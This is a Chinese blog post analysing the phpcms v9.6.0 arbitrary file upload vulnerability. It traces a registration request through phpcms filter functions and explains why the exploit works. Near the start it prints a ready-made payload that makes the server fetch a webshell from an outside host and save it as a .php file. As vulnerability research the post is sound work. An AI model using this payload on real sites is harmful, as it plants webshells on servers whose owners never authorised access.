专栏首页鸿鹄实验室老洞新谈之phpcms v9.6.0任意文件上传漏洞

老洞新谈之phpcms v9.6.0任意文件上传漏洞

PHPCMS是采用MVC设计模式开发,基于模块和操作的方式进行访问

常见的payload如下:

index.php?m=member&c=index&a=register&siteid=1

post数据:
siteid=1&modelid=11&username=test&password=testxx&email=test@qq.com&info[content]=<img src=http://www.blogsir.com.cn/lj_ctf/shell.txt?.php#.jpg>&dosubmit=1

对应的是phpcms/modules/member/index.php中的register函数,所以我们在那里下断点,接着使用 PoC 并开启动态调试,在获取一些信息之后,函数走到了如下位置:

经过new_html_special_chars函数的转换之后,new_html_special_chars函数位于phpcms/libs/functions/global.func.php中

function new_html_special_chars($string) {
  $encoding = 'utf-8';
  if(strtolower(CHARSET)=='gbk') $encoding = 'ISO-8859-15';
  if(!is_array($string)) return htmlspecialchars($string,ENT_QUOTES,$encoding);
  foreach($string as $key => $val) $string[$key] = new_html_special_chars($val);
  return $string;
}

然后来到$member_input->get,

其位于caches/caches_model/caches_data/member_input.class.php

然后数据进入到 trim_script中,

函数位于phpcms/libs/functions/global.func.php中

function trim_script($str) {
  if(is_array($str)){
    foreach ($str as $key => $val){
      $str[$key] = trim_script($val);
    }
   }else{
     $str = preg_replace ( '/\<([\/]?)script([^\>]*?)\>/si', '&lt;\\1script\\2&gt;', $str );
    $str = preg_replace ( '/\<([\/]?)iframe([^\>]*?)\>/si', '&lt;\\1iframe\\2&gt;', $str );
    $str = preg_replace ( '/\<([\/]?)frame([^\>]*?)\>/si', '&lt;\\1frame\\2&gt;', $str );
    $str = str_replace ( 'javascript:', 'javascript:', $str );
   }
  return $str;
}

继续往下跟,继续进入到一个安全过滤函数safe_replace之中:

function safe_replace($string) {
  $string = str_replace('%20','',$string);
  $string = str_replace('%27','',$string);
  $string = str_replace('%2527','',$string);
  $string = str_replace('*','',$string);
  $string = str_replace('"','&quot;',$string);
  $string = str_replace("'",'',$string);
  $string = str_replace('"','',$string);
  $string = str_replace(';','',$string);
  $string = str_replace('<','&lt;',$string);
  $string = str_replace('>','&gt;',$string);
  $string = str_replace("{",'',$string);
  $string = str_replace('}','',$string);
  $string = str_replace('\\','',$string);
  return $string;
}

然后走到:

而根据提示所致知我们需要进入到editor函数之中:

然后进入$this->attachment->download,

在下载之前会先被 new_stripslashes所过滤:

function new_stripslashes($string) {
  if(!is_array($string)) return stripslashes($string);
  foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
  return $string;
}

然后进入正则匹配:

匹配后会进行文件夹的设置等,最后进入 fillurl中:

最后的url变成了下面这样:

这也是为什么payload中要加.png和#的原因。下面继续走则会调用copy

而最后经过add实现文件写入:

然后回到注册函数中,会进行插入操作:

也就是向v9_member_detail的content和userid两列插入数据,而由因为表中没有content列,则会出现报错将shell的路径返回给我们。

参考文章:

https://paper.seebug.org/273/

https://github.com/jiangsir404/PHP-code-audit/blob/master/phpcms/phpcmsv9.6.0%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md

本文分享自微信公众号 - 鸿鹄实验室(gh_a2210090ba3f),作者:鸿鹄实验室a

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2021-05-17

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 斗哥说|phpcms_v9.6.0 任意文件上传漏洞复现!

    前言 在开启严肃认真的知识分享前,斗哥跟大家说一件严肃的事儿!本周日是一年一度的母亲节!无论你身处他乡还是奔波忙碌,别忘了给亲爱的母上大人送上节日的祝福,家永远...

    漏斗社区
  • 网站漏洞修复之UEditor漏洞 任意文件上传漏洞

    UEditor于近日被曝出高危漏洞,包括目前官方UEditor 1.4.3.3 最新版本,都受到此漏洞的影响,ueditor是百度官方技术团队开发的一套前端编辑...

    技术分享达人
  • Tomcat任意文件上传漏洞

    同时如果要防御该类漏洞将false改为true即可,即不允许DELETE和PUT操作

    字节脉搏实验室
  • 企业网站建设常用CMS建站系统推荐

    移动互联网时代,传统企业网站不仅仅局限pc端网站,还会有H5端,微信小程序端,尤其是微信作为一个巨大的流量入口,微信小程序作为企业品牌和开战电商的必争之地。那么...

    用户4831957
  • 回忆phpcms头像上传漏洞以及后续影响

    为了响应爱慕锅(Mramydnei)、撸大师(索马里的海贼)、fd牛(/fd)的号召成立的parsec团队,以及各位老师多年来对我的教育,我要写篇回忆稿。看标题...

    phith0n
  • 一次与fineCMS的偶遇 - fineCMS getshell漏洞

    这个不是0day,我手里也没0day,算是一个漏洞的二次审计,一篇随便写写的记录文,还请各位大牛多多交流。 0x01 偶遇 有一个目标站,扫了一下旁站...

    phith0n
  • 记一次phpcms漏洞利用到获得服务器过程分享

    记一次phpcms漏洞利用到获得服务器 by lshc 随着最近phpcms V9 任意上传和注入poc的流出,在圈内又掀起了一阵漏洞利用浪潮,想到之...

    ChaMd5安全团队
  • 冷场了吗?我带着phpcms9.6.2 注入来救场了

    0x00 背景 最近做代码审计的时候发现phpcms 有更新,现在漏洞详情基本不公开,想要知道漏洞的利用方法只能自己审计了,通常可进行新旧版本的代码比较了,来定...

    漏斗社区
  • ZentaoPMS任意文件上传漏洞复现

    当斗哥一筹莫展,无从下笔时, 一位从事项目管理职业的小姐姐一语道破天机。 她使用的禅道管理软件引起了我的注意, 为了拉进与小姐姐的直线距离, 斗哥对禅道进行了全...

    漏斗社区
  • PHPCMS_V9.6.0任意文件上传漏洞分析

    本次PHPCMS版本为9.6.0,安装步骤跟上一篇文章一样,参考PHPCMS_V9.2任意文件上传getshell漏洞分析

    黑白天安全
  • phpcms上传导致getshell详解及案例

    这篇文章好几天前写了,给协会里新成员普及知识,看大家也都玩的差不多了,就发表到博客里,增加一点噱头和访问量,哈哈~

    phith0n
  • 漏洞挖掘之通达OA2017任意文件上传

    通达OA系统代表了协同OA的先进理念,16年研发铸就成熟OA产品,协同OA软件行业唯一央企团队研发,多次摘取国内OA软件金奖,拥有2万多家正式用户,8万多家免费...

    乌鸦安全
  • CTF实战14 任意文件上传漏洞

    该培训中提及的技术只适用于合法CTF比赛和有合法授权的渗透测试,请勿用于其他非法用途,如用作其他非法用途与本文作者无关

    用户1631416
  • PHP任意文件上传漏洞(CVE-2015-2348)

    安全研究人员今天发布了一个中危漏洞——PHP任意文件上传漏洞(CVE-2015-2348)。 在上传文件的时候只判断文件名是合法的文件名就断定这个文件不是恶意文...

    FB客服
  • PHPCMS_V9.2任意文件上传getshell漏洞分析

    PHPCMS是采用MVC设计模式开发,基于模块和操作的方式进行访问,采用单一入口模式进行项目部署和访问,无论访问任何一个模块或者功能,只有一个统一的入口。

    黑白天安全
  • PHPOK 4.8.338 后台任意文件上传漏洞

    phpok是深圳市锟铻科技有限公司一套采用PHP+MYSQL语言开发的企业网站系统。 phpok 4.8.338版本存在任意文件上传漏洞,攻击者可利用漏洞上传任...

    墙角睡大觉
  • phpcms v9.6 任意文件上传漏洞近日出现密集攻击动态

    背景介绍: 近日,安恒风暴中心研究人员发现,从2018年3月4日开始出现了对phpcms V9.6任意文件上传漏洞的密集攻击与利用。该漏洞为2017年爆发的0...

    安恒信息
  • 网站漏洞修复对如何修复phpcms网站漏洞

    SINE安全公司在对phpcms2008网站代码进行安全检测与审计的时候发现该phpcms存在远程代码写入缓存文件的一个SQL注入漏洞,该phpcms漏洞危害较...

    技术分享达人
  • PHPcms9.6.0 最新版任意文件上传漏洞(直接getshell)

    对于PHPcms9.6.0 最新版漏洞,具体利用步骤如下: 首先我们在本地搭建一个php环境,我这里是appserv(只要可以执行php文件就行) ? 在根目录...

    FB客服

扫码关注云+社区

领取腾讯云代金券